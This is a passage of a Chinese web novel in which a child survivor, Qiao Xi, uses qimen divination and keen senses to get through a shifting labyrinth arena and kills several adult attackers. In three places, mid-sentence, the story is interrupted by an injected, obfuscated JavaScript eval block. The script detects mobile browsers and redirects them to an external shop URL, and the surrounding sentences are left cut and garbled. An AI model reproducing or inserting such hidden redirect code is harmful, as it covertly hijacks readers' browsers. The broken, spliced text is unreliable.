乔晞撕扯着肉条,硬邦邦的肉纤维塞进嘴里,费力地咀嚼着。这副实验体身躯今年刚满八岁,乳牙刚换完没几颗,此刻啃着干硬的肉条,几颗松动的乳牙被硌得生疼,铁锈般的血腥味在口腔里弥漫开来。 她把乳牙拔下来,用短矛凿了个洞,串进脖子上的羽毛链子里。随后继续将没吃完的肉条咽进肚子里,每一口食物都能支撑乔晞快速恢复体力。 嚼完肉条,乔晞从包袱里摸出一个小小的兽皮水袋,她轻轻掀开塞子,用舌尖舔了舔壶口的水珠,冰凉的水滑过干裂的嘴唇,瞬间缓解了喉咙的灼痛感。 不到万不得已,乔晞不想浪费一滴水。 离开蛮荒雨林之后,乔晞才真切体会到沙棠星水资源的匮乏,这一路从蛮夷部落到奴隶聚群,沿途经过的大都是地貌干旱的无人区,水洼只能偶尔见到。 乔晞早已学会了极度珍惜水源,每一次饮水都很克制,只为了在这片逆境中撑得更久。 吃饱喝足后,乔晞重新将包袱系好,挂在腰间,然后趴下,耳朵再次紧紧贴住地面。她此时在脑海里快速复盘着这一整天的观察,反复推敲着迷宫的规律。 墙体转动的节奏有着明显的差异,有的墙体移动快如疾风,有的则不会轻易生变,不同的速度对应着不同的通道属性;气流在不同通道里的走向截然不同,有的通道风势强劲,带着新鲜的气息,有的则死气沉沉。 乔晞通过回声的长短在分辨通道的宽窄与深浅。 然而这样的能力,并非乔晞后天习得。这是她在蓝星的地下城时就已经掌握的技能。 * 乔家从乔妈的前两代开始,就已经居住在地下城了。她们从未见过末世之前的蓝星,也从未在日光下生长过,只是众多地下城家庭里最普通的一户人家。 可乔妈却是个特殊的当家人。 她会算六爻,指尖捏着几枚铜钱就能推演吉凶。懂奇门遁甲,能用尖石在沙地上画出行走的路线。 乔妈甚至连紫微斗数也略有研究,虽然从没有切身体验过仰望星空,却仅凭电视上的卫星观测电子动态就能说出未来几日蓝星地表的极端气候变化情况,比天气预报还准。 就连西玄的塔罗牌和星盘,乔妈也略懂一二,经常会用各种东西方术数为人卜问前程,以此补贴家用。 沉眠于潭底蛇窟的那一整年,乔晞的记忆如洪水倒灌,无数被遗忘的片段不断涌现,她开始反复琢磨、反复推敲。 乔家绝不可能是普通家庭。 尤其是在天河方舟号临近启航的那一年。 那时候,地下城的人都急疯了。 普通人比权贵阶级更晚得知末日降临的消息,阶层所带来的信息差,让底层民众在灾难面前显得格外无力。 直到最后关头,所有人才终于相信末日已至,沙棠星的生态系统彻底崩溃,唯有天河方舟号系列载人飞船才能逃离。 无数人挤破头、拼了命都想登船。 普通人家连一张票根的影子都摸不到,权贵们动用家族势力、散尽海量财富,尚且要争得头破血流。 可乔家,一个地下城里万千普通家庭的其中一户,却仅仅靠砸锅卖铁、变卖家财,就真的能拿到天河方舟号的船票。 这对吗? 这明显不对啊。 那时候未经世事的乔晞,只觉得是家里运气好。 可如今历经几次生死后,乔晞才清楚地明白这绝不是靠金钱就能办到的事,想要拿到天河方舟号的船票,不仅要有钱,还要有用。 说不定还要与联邦有所关联。 只是那个顶替乔晞名额的天龙人儿子,比乔家更有钱、更有用,才能夺走她的那份生机。 乔妈常常带着乔晞去地下城里的运动场,用石头在草地上画格子线条。 “记住,路靠人走,人靠脉。看风听声,就能算出生死。” 以乔晞当时的年纪,虽不能全然掌握这套复杂的理论,她的东玄基础却打得十分扎实,尤其是对风向的判断,她有着天生的敏锐,最擅长分辨地下风的走向与强弱。 * 这座移动迷宫的排布规律,在乔晞反复的听声辨位、推演计算中,逐渐清晰起来。她终于敢确定,这座迷宫遵从的是奇门遁甲式的变阵。 通道每一次演变,都会同时打开两道门。 一道是生门,一道是死门。 恰好略懂奇门遁甲的乔晞,此刻用上的,正是乔妈当年反复教她的那套“动静辨路”的理论。 乔晞深吸一口气。 胸腔里的心跳砰砰作响。 会有这么巧合的事吗? 乔妈不是普通人。 她懂阵法,懂空间规律,甚至可能接触过星际移民Z156星系的背景资料。 乔家能拿到天河方舟号的船票,绝不是靠变卖家财的表面说辞,背后一定隐藏着不为人知的力量和人脉。乔晞大胆假设,可能跟联邦都脱不开关系。 而这座移动迷宫的设计,它的排布规律、它的变阵逻辑,都和乔妈当年教她的理论高度契合。 乔妈到底为联邦做过什么? 是为了换取那张船票吗? 联邦开展的实验体计划,仅仅是为了做社会观察实验吗? 乔晞心里的疑问像野草般疯长,有太多太多的问题想要剖丝剥茧,她开始恨自己曾经不够强大、不够细心,为什么对这一切都一无所知。 她想起自愿放弃船票的父亲、哥哥和嫂子,在死亡的恐惧和求生的诱惑面前,相濡以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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生门那头的动静突然变大,铁器摩擦的声音越来越清晰,伴随着急促的脚步声,朝着通道口逼近。乔晞立刻站起身,拿起挂在腰间的石斧。 掏出火折子,火光在昏暗的通道里亮起。 * “轰隆——” 火光映出两个穿着粗布短打的身影。 他们是农耕小镇的人。 浑身沾着泥污与血渍,一看就是经历过几番厮杀。一人手里握着一把短刀,暗黑的血还在往下滴,另一人攥着一把钉耙,耙齿上挂着碎肉。 刀光与耙影交错,每一次碰撞都发出刺耳的声响。 两人此刻正缠斗着向往生门奔来。 可就在这时,握着短刀的少年刀势慢了半拍,他的余光扫过通道口的乔晞,目光瞬间定格在这个瘦小的身影上。 乔晞一身兽皮裙,光脚踩在冰冷的石板上,脸上涂着彩绘,看起来瘦弱不堪,毫无威胁。在杀红了眼的人看来,这样的部落小孩是最好欺负的对象。 与他缠斗在一起的人也顺着方向看了过来,两双沾满血污的眼睛,同时在乔晞身上打量。 没有犹豫,没有试探。 刚才还互相砍杀、你死我活的两人,突然对视一眼,眼神里闪过同样的狠戾与算计,顷刻间达成共识。 ——先杀她! 11. 角斗场 短刀男咧嘴露出一抹狰狞的笑。 他放弃了与钉耙男的缠斗,握紧短刀,脚步猛地往前跨出一步,朝着乔晞扑来,嘴里发出低沉的嘶吼:“先干掉她!” 钉耙男也立刻收了攻势,转身朝着乔晞扑去,手中的钉耙横扫而出,带着破风的声响,显然是想将乔晞一耙拍死。 乔晞看着他们一步步靠近。 她不能后退,因为身后是即将开启的死门,按照计算,大概还有三十多次水滴声的时间,死门就会彻底开启,一旦后退,乔晞就会被困在死门之中。 乔晞握紧了手中的石斧。 三十三滴。 三十二滴。 …… 移动迷宫里没有水声,但乔晞的脑海里有,她在用她最熟悉的计算方式破局。 浓烈的杀气在那两个人喷涌而出,他们一前一后,形成夹击之势,朝着乔晞猛扑过来,短刀与钉耙同时朝着她的要害攻来。 钉耙男在前,手里的钉耙齿尖直逼乔晞的胸口。乔晞侧身,钉耙狠狠砸在石墙上,溅起一片碎石,她的胳膊还是被耙齿擦到,立刻划出一道血口,疼得她眉头紧锁,却咬着牙没出声。 短刀男紧随其后,手里的短刀直直刺向她的后腰,招式狠辣,摆明了要速战速决,解决掉这个碍事的小孩,再抢生门活命。 乔晞往前翻滚一圈,堪堪避开短刀,手里的石斧胡乱挥挡,勉强抵住两人的攻势。 可她力气太小,石斧很快被钉耙男一耙挑飞,落在几米外的石板地上,没了武器,她瞬间陷入绝境。 敢伤她,找死? 凤凰蠢蠢欲动。 乔晞克制住自己动用异能的本能。 这是一次很好的练习近身搏斗的机会,和之前在蛮夷部落找伊古牙打架不一样。 短刀男见状,脸上露出狠戾的笑,步步紧逼:“小丫头片子,还敢跟我们抢路,今天就让你死在这!” 钉耙男也跟着逼近,钉耙高高举起,就要往乔晞身上砸。乔晞背靠石墙,退无可退,身后死门的震动越来越明显。 十七滴。 十六滴。 …… 离死门彻底开启只剩片刻,她心里清楚,再这样下去被拖进死门,绝无生路。 就在钉耙落下的瞬间,乔晞猛地弯腰,从钉耙男的腿边钻过,扑向掉在地上的石斧。 被她发现破绽了,抬脚横扫钉耙男的下盘。 钉耙男被掀翻在地。 短刀男握着短刀想找机会偷袭。 远处的通道突然传来一阵剧烈的震动,墙体齿轮转动的声音骤然变响,比之前任何一次都要急促。两人脸色一变,都意识到迷宫要大变阵,生门随时可能关闭,死门也会提前开启,若是再耽误,他们俩也会被困死在这里。 钉耙男脸色瞬间慌了,对着短刀男喊道:“我们合作吧,这小丫头懂奇门,能找生门!刚才她站的位置,刚好是生门边缘,肯定会辨路!” 短刀男愣了一下,转头看向钉耙男:“她一个小屁孩,懂什么奇门?别被她骗了!” “刚才墙体动的时候,她一眼就找准了生门,我们俩找了半天都没摸到头绪,她肯定有本事!”钉耙男急得额头冒汗,转头看向乔晞,语气瞬间软了下来,没了之前的狠戾,满是求饶的意味,“小丫头,我们错了,不该对你动手,你饶我们一命!你懂找路,我们有力气,咱们合作,一起找生门,一起走出这一段迷宫,等出去了,我们绝不找你麻烦!” 短刀男也反应过来,眼下活命最重要,若是没乔晞辨路,他们俩大概率也要死在这里,他缓缓收起短刀,也跟着附和:“对,合作!我们俩保护你,你帮我们找生门,互不伤害,先活下去再说!你要是不答应,我们现在就杀了你,大不了一起死在这!” 乔晞没有立刻答应,她盯着两人的眼睛,看着他们从凶狠到慌乱,再到假意求饶,心里清楚,这两人绝不是真心合作,只是把她当成找路的工具,等出了险境,必定会再次下杀手。可眼下她打不过两人,迷宫又要变阵,硬拼只有死路一条,只能先假意答应,再找机会反击。 她缓缓点头:“可以合作,但你们不准再动手,生门快关了,现在就走。” 钉耙男和短刀男立刻露出喜色,短刀男捡起石斧递还给她,语气客气:“早这样就好了,大家都是为了活命,没必要拼个你死我活。” 乔晞接过石斧,握在手里,不动声色地往后退了半步,和两人保持距离,同时侧耳聆听墙体的震动,判断生门的准确位置。她指着左侧气流顺畅的通道:“往这走,生门就在前面,再慢就来不及了。” 三人立刻朝着生门方向快步走去,钉耙男走在最前开路,短刀男走在乔晞身侧,看似是护着她,实则眼神一直瞟向她的后背,眼底藏着阴狠。乔晞早有察觉,全程保持警惕,感官异能悄悄放开,留意着短刀男的每一个动作,她知道,这人必定会在抵达生门前动手。 刚走了没几步,通道突然剧烈摇晃,石墙开始快速移动,生门的微光瞬间暗了大半,死门的黑暗已经蔓延到脚边。钉耙男吓得加快脚步,短刀男见状,知道机会来了,若是等进了生门,再想杀乔晞就难了,不如现在偷袭,解决掉她,独自占了生门。 短刀男假装扶乔晞一把,伸手靠近她的肩膀,趁着乔晞留意墙体震动的瞬间,猛地抽出藏在腰间的短刀,狠狠朝着她的后心刺去,没有丝毫犹豫,眼神里满是杀意:“小丫头,别怪我,要怪就怪你知道得太多,生门只能是我的!” 钉耙男听到动静,回头一看,非但没阻止,反而停下脚步,打算坐收渔翁之利,若是短刀男杀了乔晞,他再趁机杀了短刀男,生门就归他一人所有,脸上露出贪婪的笑。 乔晞早有防备,在短刀男抽刀的瞬间,她猛地往前扑出,就地翻滚,短刀狠狠刺空,扎进旁边的石墙里。乔晞转身,眼神冷得像冰,看着偷袭不成、面露慌色的短刀男,没有丝毫犹豫,握着石斧快步冲上前,趁着短刀男拔不出刀、毫无防备的瞬间,将石斧狠狠劈向他的脖颈。 短刀□□本没料到乔晞早就识破了他的算计,反应过来时已经晚了,石斧落下,他连惨叫都没发出,就倒在地上,没了气息,鲜血顺着石板缝隙流走,很快被尘土覆盖。 钉耙男见状,吓得魂飞魄散,转身就想跑,他没想到乔晞年纪虽小,下手竟如此狠绝,反应还这么快。可乔晞不会给他逃跑的机会,此刻死门已经彻底开启,黑暗瞬间吞噬了后方的路,钉耙男往前跑,就是生门的方向,若是让他跑了,后患无穷。 乔晞捡起短刀男掉在地上的短刀,快步追上去,一把抓住钉耙男的衣角,钉耙男挣扎着想要甩开,却被乔晞狠狠拽住,摔倒在地上。乔晞骑在他身上,短刀抵住他的咽喉,钉耙男吓得浑身发抖,再次拼命求饶,声音带着哭腔:“我错了!我再也不敢了!是短刀男逼我的,我没想偷袭你,你放我一条生路,我给你做牛做马!” 乔晞面无表情,看着他虚伪的嘴脸,想起刚才他和短刀男联手要杀自己,想起短刀男的背刺偷袭,心里没有丝毫心软。在这移动迷宫里,对敌人的仁慈就是对自己的残忍,这人留着,迟早会再次反水。 她没有丝毫犹豫,手腕用力,短刀狠狠落下,钉耙男的求饶声戛然而止,彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337635|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底没了气息。 解决掉两人,乔晞站起身,大口喘着气,胳膊上的伤口还在疼,浑身沾满了尘土和血污,可她顾不上这些。生门的微光已经淡到几乎看不见,石墙还在快速闭合,她捡起石斧,背好长弓,快步冲进仅剩一丝缝隙的生门通道。 就在乔晞踏入通道的瞬间,生门的石墙轰然合拢,身后的死门也彻底封死,刚才的厮杀和血腥,都被隔绝在这片绝境里。 乔晞靠在冰冷的石墙上,蹲下身子,摸了摸胳膊上的伤口,又摸了摸脖子上挂着的羽毛链,眼神坚定。 做完这些,乔晞把夺来的短刀插进腰间的兽皮绳里,重新握紧石斧,背上背后的长弓,箭壶里的竹箭还剩七支,方才对付两个成年男人,她一支箭都没浪费,堪堪取胜。火折子早在之前的打斗中熄灭,迷宫里只有石墙缝隙漏下来的微弱天光,昏昏沉沉的,勉强能看清脚下的石板路,路面坑坑洼洼,散落着细小的石渣,光脚踩上去有些硌得慌,可她早已习惯,蛮荒的林地、干涸的戈壁、奴隶聚居地的泥地,她都这样一步步走过来,这点疼痛根本不算什么。 乔晞没有立刻往前赶路,而是贴着墙根站定,闭上眼静静聆听周遭的动静。 迷宫深处的齿轮还在缓缓转动,发出低沉的嗡鸣,像是一头沉睡的巨兽在平稳呼吸,这不是大规模变阵的前兆,只是迷宫日常运转的声响,乔晞不用再像之前那样趴在地上反复推演阵式,乔妈教她的那些奇门辨位、听声辨路的本事,早已刻进骨子里,哪里气流顺畅,哪里震动发脆,哪里回声空阔,她只要站定三息,就能凭着本能判断得一清二楚。 路靠人走,人靠脉,这句话不再是模糊的回忆,而是乔晞此刻脚下实实在在的生路,乔晞不用多想,只顺着本能指引的方向走就够了。 乔晞抬脚一步步往前走,通道比之前经过的更加狭窄,只能容一人侧身通过,两侧的石墙光滑冰冷,摸上去是坚硬的科技造物质感,没有半点温度。 走了约莫百十来步,前方的通道突然开阔起来,形成一个不规则的环形空地,空地不算大,却有三条岔路分别通向不同方向,地面上散落着破旧的布片、断裂的刀刃、干枯发黑的血迹,还有几节发白的碎骨,分不清是人类还是星兽的,看着格外瘆人。 空地中央倒着一个半人高的金属箱,箱体裂开一道长长的缝隙,里面空空如也,显然早就被人搜刮干净,连一点残渣都没剩下。 乔晞刚踏入环形空地,脊背瞬间泛起一股凉意,汗毛都竖了起来,她立刻停下脚步,石斧横在身前,眼神警惕地扫过四周。 她的感官本就异于常人,此刻更是将感知放到最大,能清晰察觉到,三条岔路口都藏着人,而且都带着毫不掩饰的杀意,将她牢牢堵在空地中央,退无可退。 左侧岔路口站着的是瘦高男,身材瘦长,脸色发青,像长期营养不良一般,手里握着一根磨得尖锐的钢筋,钢筋顶端沾着干涸的血痂,眼神阴鸷,死死盯着乔晞,像一条伺机而动的毒蛇,浑身透着一股阴冷的气息,一看就擅长偷袭。 右侧岔路口站着壮硕男,肩宽背厚,浑身肌肉鼓胀,赤着上身,皮肤粗糙发黑,布满了大大小小的伤疤,双手握拳,指节粗大发黑,每站定一秒,脚下的石板都似微微发颤,浑身散发着蛮力,一看就是力量型的对手。 正对面的岔路口站着灰衣女,穿着一身洗得发白的灰布短衣,头发凌乱地束在脑后,脸上沾着尘土,手里握着一把半尺长的窄刃刀,腰间还别着两个巴掌大的铁环,铁环边缘磨得锋利,泛着冷光,她站在那里一动不动,却比另外两个男人更让人忌惮,沉稳得像是久经杀场的老手。 12. 角斗场 三个人,三个方向,呈三角之势将乔晞围住,没有一人率先开口,只有沉默的压迫感在空地里蔓延,他们看着眼前这个瘦小的部落小孩,眼神里带着轻视,却又藏着一丝警惕,能独自在迷宫里活到现在,还能走到这片环形空地,绝不可能是毫无还手之力的软柿子。 瘦高男率先打破沉默:“你一个部落小孩,独自从生门那边过来的?之前那片通道的惨叫,是不是你弄出来的?”他语气里满是怀疑,根本不信一个八岁的小孩能在迷宫里活下来,更不信她能解决掉其他参赛者。 乔晞没有答话,只是目光在三人身上快速游走,默默判断着每个人的威胁程度,她能清晰感受到,这三个人身上都带着微弱却清晰的能量波动,那是异能觉醒的气息。 眼前这三人,显然每一个都不好对付。 壮硕男咧嘴一笑,露出一口发黄的牙齿,语气粗鲁又嚣张:“看这小身板,在这迷宫里,终究是送命的货。”他说着往前迈了一步,地面轻轻一颤,身上的肌肉微微鼓起,皮肤渐渐泛起一层淡淡的土黄色光泽,那是土石强化异能觉醒的征兆,皮肤硬化后,普通的刀刃根本砍不透,力量也会成倍增长,正面硬抗极为棘手。 瘦高男见状,也动了动身形,脚下轻轻一点,身影瞬间变得模糊,像是融入了周遭的阴影里,速度快得只剩下一道淡淡的残影,这是风影异能,擅长加速、隐身和绕后偷袭,出其不意的攻击最是致命,他嘴角勾起一抹阴狠的笑,显然没打算给乔晞反应的机会。 灰衣女依旧站在原地,轻轻转了转手里的窄刃刀,刀身划过微光,她没有显露自己的异能,可乔晞能感觉到,她身边的空气微微震动,周身的气流都似被她掌控,大概率是旋环控场或是短距位移一类的异能,擅长缠斗和控场,心思缜密,极难对付。 不过片刻,三人同时动了,没有丝毫征兆,直接朝着乔晞围攻而来,壮硕男冲在最前,土石强化异能全开,整个人像一头狂奔的野牛,拳头带着强劲的风声,直直砸向她的头顶,这一拳若是砸实,脑袋当场就会开花。 瘦高男借着风影异能,快速绕到后侧,钢筋紧握,瞄准乔晞的后腰,打算一击致命。 灰衣女则居中策应,双手一甩,腰间的两个铁环瞬间脱手,旋转着飞向乔晞的脚踝,铁环锋利,一旦缠上,脚筋定会被当场割断。 三面夹击,不留丝毫活路,显然是打算速战速决,解决掉这个碍事的部落小孩,再去开启通往迷宫下一层的机关。 乔晞眼神一沉,瞬间将自身的感官异能推到极致,听觉、视觉、触觉全部放大,周遭的一切动静都清晰地传入她的感知里,壮硕男的心跳声、肌肉绷紧声,瘦高男的脚步声、钢筋破空声,灰衣女的呼吸声、铁环旋转声,甚至连墙体齿轮转动的细微声响,都被无限放大,她能精准预判每一道攻击的轨迹。 在壮硕男的拳头即将砸到头顶的瞬间,乔晞猛地往下一蹲,身形灵活地避开这致命一击,拳风狠狠砸在她身后的石墙上,发出轰隆一声巨响,碎石四溅,石墙上瞬间出现一个深深的拳印。 乔晞趁机从壮硕男的腋下快速钻过,握着石斧的手反手横劈,没有攻击他坚硬的身躯,而是精准砍向他膝盖后侧的韧带,那里没有土石强化覆盖,是他最大的弱点。 一声闷响,石斧狠狠砍中肌肉,壮硕男痛吼一声,单膝重重跪倒在地,土石强化的光泽都淡了几分,一时之间竟站不起身。 可这边刚解决壮硕男的首轮攻击,瘦高男的钢筋已经从后侧刺来,速度快得惊人,直逼乔晞的后腰。 乔晞脊背汗毛倒竖,不敢有丝毫停顿,猛地向前翻滚一圈,钢筋擦着她的兽皮裙划过,狠狠刺进石墙里,陷入半截,瘦高男一时竟拔不出来。 乔晞刚翻身起身,灰衣女的铁环已经飞到脚踝边,旋转着缠来,速度极快。乔晞双脚同时离地,向上纵身一跃,铁环从她脚下飞速飞过,重重撞在石墙上,发出当啷的脆响,弹开数米远。 短短三息之间,三人的围攻尽数被她避开,瘦高男、壮硕男、灰衣女脸色皆是一变,他们怎么也没想到,这个看似瘦弱的乔晞,反应竟如此迅捷,身手如此灵活,远超他们的预料。 壮硕男怒吼着爬起身,身上的土黄色光泽再次变亮,土石强化异能彻底爆发,他不再留手,双手抓起地上的碎石块,朝着乔晞狠狠砸去,每一块石头都带着强劲的力道,像子弹一般飞速袭来。 乔晞不断侧身、弯腰、后仰,精准避开每一块碎石,碎石擦着她的耳边、肩膀、胸口飞过,砸在石墙上噼啪作响,溅起无数石渣。 她一边躲避,一边快速抽出背后的长弓,搭箭、拉弓、松指,动作一气呵成,没有丝毫拖沓,竹箭带着风声,直直射向壮硕男的右眼,那是他防御最薄弱的地方。 壮硕男慌忙偏头躲避,竹箭擦着他的眼角飞过,带起一串血花,他痛得嘶吼一声,攻势却更加疯狂,再次朝着乔晞猛冲而来。 瘦高男也趁机拔出石墙上的钢筋,再次催动风影异能,身影变得更加模糊,绕到后侧发起突袭。 灰衣女则收回铁环,双手一合,两个铁环在空中合并,变成一圈旋转的刃圈,朝着乔晞的脖颈狠狠切来,招式狠辣,招招致命。 新一轮的围攻来得更快更猛,没有丝毫空隙,乔晞被逼到绝境,却依旧没有慌乱,她闭上双眼,彻底摒弃视觉干扰,全凭感官异能感知周遭的一切,精准判断每一道攻击的方位和速度。 壮硕男的重拳从左前方袭来,瘦高男的钢筋从正后方刺来,灰衣女的刃圈从正前方切来,三道攻击同时逼近,避无可避。 在攻击临身的刹那,乔晞猛地做出一个诡异的动作,向前扑倒的同时,身体向右侧翻滚半圈,刚好避开所有攻击,三人同时扑空,力量收不住,竟撞在一起,乱作一团。 这是唯一的破绽,也是唯一的机会,乔晞不敢有丝毫耽搁,翻身而起,握着石斧径直冲向瘦高男,瘦高男擅长速度,肉身却最为薄弱,只要先解决他,围攻之势便不攻自破。 瘦高男大惊失色,慌忙催动风影异能想要逃离,可乔晞的感官比他的速度更快,早已预判到他的逃跑方向,石斧提前劈下,狠狠砍中他的胳膊,鲜血瞬间喷涌而出,风影异能瞬间中断,他痛得惨叫倒地,再也站不起来,钢筋也掉落在一旁,彻底失去了战斗力。 解决掉瘦高男,乔晞没有停顿,转身直面壮硕男,壮硕男怒吼着双拳齐出,力道十足,却依旧被她凭借灵活的身手避开,她借着地面的微小反冲,瞬间近身,抽出腰间的短刀,精准刺向他腋下的软肉,那里同样没有土石强化覆盖,是致命弱点。 短刀入肉,壮硕男的嘶吼声戛然而止,身上的土黄色光泽瞬间消散,土石强化异能彻底崩溃,他捂着腋下跪倒在地,浑身力气抽空,再也无法发起攻击。 短短片刻,两名对手被解决,场上只剩下灰衣女,灰衣女脸色依旧平静,没有丝毫慌乱,只是紧紧握着窄刃刀。 她知道,这个部落小孩远比她想象的更难对付,感官异能的强大,让她的偷袭和控场都失去了作用。 “你很厉害,能觉醒如此强悍的感官异能,在这角斗场里实属罕见。”灰衣女缓缓开口,语气里没有了之前的轻视,多了几分郑重,“这片环形空地的主通道,需要两个人同时扭动机关才能开启,你一个人根本打不开,与其拼个你死我活,不如暂时合作,一起开启通道,进入迷宫下一层,到了宽敞之地,再分生死,如何?” 乔晞看向空地中央,果然在金属箱旁看到两个并排的金属转盘,上面刻着简单的奇门纹路,正是开启主通道的机关,她之前只顾着应对围攻,并未留意。 她沉默片刻,知道灰衣女说的是实话,单打独斗,她未必能稳稳赢过灰衣女,强行开启机关也绝无可能,暂时合作是唯一的选择,可她也不会全然信任,始终保持着警惕,淡淡开口:“可以,但若你敢耍花样,我先断你的手。” 灰衣女点头,没有多余的废话,两人一前一后走向金属转盘,乔晞握住左侧转盘,灰衣女握住右侧转盘,同时按照奇门纹路的方向用力转动,齿轮咬合的声响缓缓传来,咔哒咔哒的,听得人心里发紧。 片刻后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337636|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正对面的主通道石墙缓缓向两侧拉开,露出一条更宽阔、更明亮的通道,通道尽头隐约能看到一扇巨大的石门,那是通往迷宫第二层的入口,越往深处,危险便会成倍增加。 机关开启的瞬间,灰衣女眼神骤然一变,脸上的平静瞬间消失,取而代之的是狠戾,她没有遵守约定,突然转身,窄刃刀直直刺向乔晞的心口,速度快,角度刁,毫无征兆,显然是打算趁其不备,一击致命。 “真以为我会跟你平分生路?这迷宫里,只有活人才有资格往前走。” 乔晞却早有防备,从合作的那一刻起,她的感官就始终锁定着灰衣女,在她动手的前一息,已经快速向后退了一步,窄刃刀堪堪刺空,擦着她的衣衫飞过。 她反手举起石斧,狠狠劈向灰衣女,灰衣女慌忙用刀格挡,金属碰撞的脆响传来,两人同时被震得后退几步,灰衣女的手腕微微发麻,看向乔晞的眼神更加忌惮。 两人瞬间缠斗在一起,灰衣女催动旋环异能,铁环在空中飞速旋转,忽快忽慢,不断扰乱乔晞的判断,可乔晞凭借感官异能,总能精准避开每一次攻击,同时不断发起反击,短刀与石斧交替使用,招式狠辣,没有丝毫花哨。 数十个回合下来,灰衣女渐渐落入下风,体力消耗巨大,旋环异能也开始不稳,乔晞抓住破绽,搭箭拉弓,竹箭飞速射出,擦过她的右手,削掉一片皮肉,窄刃刀瞬间掉落在地。 乔晞一步上前,石斧顶住灰衣女的咽喉,灰衣女僵在原地,脸色惨白,再也不敢动弹,胜负已分。 就在这时,整个移动迷宫突然剧烈震动起来,比之前任何一次变阵都要猛烈,石墙疯狂摇晃,齿轮发出刺耳的尖鸣,三条岔路同时开始快速闭合,四面八方都传来死门开启的咔哒声,无数黑暗通道瞬间张开,像无数张巨兽的嘴,要将整片环形空地彻底吞噬。 “是绝杀变阵!死门群开了!这一层要被彻底封死了!”灰衣女脸色剧变,声音里满是恐惧,再也没有了之前的冷静,她知道,若是被困在这里,只有死路一条。 乔晞脸色也沉了下来,她能清晰感知到,死门的气息已经逼近脚下,再不走就来不及了,她不再犹豫,收回石斧,转身朝着主通道飞速跑去,灰衣女也不敢耽搁,捡起窄刃刀,紧随其后,两人一前一后,飞速冲进主通道。就在踏入通道的瞬间,环形空地的石墙轰然合拢,彻底封死,身后的一切声响瞬间断绝,再也没有半点动静。 主通道内一片明亮,墙壁不再是暗沉的黑石,而是泛着淡银色的金属纹路,透着一股冰冷的科技感,地面也更加平整,没有杂乱的石渣。两人停下脚步,靠在墙上大口喘气,方才的缠斗和狂奔,让两人都到达了体力极限,浑身被汗水浸湿,呼吸急促。 灰衣女看着身旁的乔晞,语气复杂,再也没有了丝毫轻视:“我活了二十多年,从没见过像你这么厉害的小孩,感官异能强悍到这种地步,你到底是什么来历?” 乔晞没有回答,只是望着通道深处,那里隐隐传来低沉的兽吼,一声接着一声,透着凶戾,她知道,迷宫第二层,不再是单纯的人与人之间的厮杀,还有觉醒了异能的星兽,那些星兽没有理智,只懂杀戮,比人类对手更加难缠。 灰衣女开口说道:“第二层的异能星兽数量极多,攻击性极强,单打独斗死得更快,我们再合作一次,一起闯过第二层,到第三层入口,再分胜负,如何?” 乔晞转头看向她,眼神平静,没有丝毫波澜,沉默片刻后缓缓点头:“可以,这一次,谁先背叛,谁先死。” 灰衣女应了一声,不再多言,两人一前一后,朝着通道深处缓缓走去,脚步沉稳,眼神坚定。通道深处的兽吼声越来越近,黑暗中,一双双泛着红光、绿光、蓝光的兽瞳缓缓亮起,密密麻麻的,透着凶戾的气息,觉醒了异能的星兽,早已等候多时,新一轮的生死搏杀,才刚刚开始。 乔晞握紧石斧,搭上竹箭,感官异能时刻保持全开,每一步都走得坚定,无论前方有多少危险,有多少强敌,她都不会退缩,她要活着走出这座移动迷宫,活着走到最后。 13. 角斗场 生门石墙合拢的闷响散在通道里,乔晞靠在冰凉的石面上,慢慢调整着呼吸。胳膊上的伤口还在渗血,血珠顺着小臂往下淌,滴在石板地上,晕开一小片深色印记。 她没急着处理伤口,先侧耳听了听周遭的动静,墙体齿轮的转动声变得平缓,没有大规模变阵的征兆,周遭也没有人声或是兽类的响动,暂时是安全的。 乔晞蹲下身,把石斧放在一旁,解开鹿肠衣包袱,从里面翻出一块晒干的兽皮,这是蛮夷部落里用来包扎伤口的,质地柔软,吸水性也好。 她扯下一小块,用牙齿咬断,再蘸了点水壶里的水,轻轻擦拭胳膊上的伤口,伤口不算深,只是被耙齿划开的长条血痕,擦净血污后,乔晞把兽皮缠在胳膊上,简单打了个结,动作不算熟练,却也稳妥,至少能止住血,防止伤口沾到尘土发炎。 做完这些,乔晞捡起石斧,重新握在手里,又检查了一遍腰间的短刀和背后的长弓,竹箭还剩六支,短刀刀刃完好,长弓的弦也没有松动。 她把散落的东西重新收好,鹿肠衣包袱紧紧系在腰间,不会影响行动,脖子上的羽毛链被衣服蹭得有些歪,她伸手理了理,链上的乳牙轻轻碰撞,发出细碎的声响,这声音让她心里多了几分安稳。 乔晞站起身,沿着生门后的通道往前走。这条通道比之前经过的要宽一些,地面也更平整,石墙不再是纯黑色,泛着淡淡的青灰色,墙面上没有多余的纹路,只有偶尔几处凹陷,像是长期被撞击形成的。 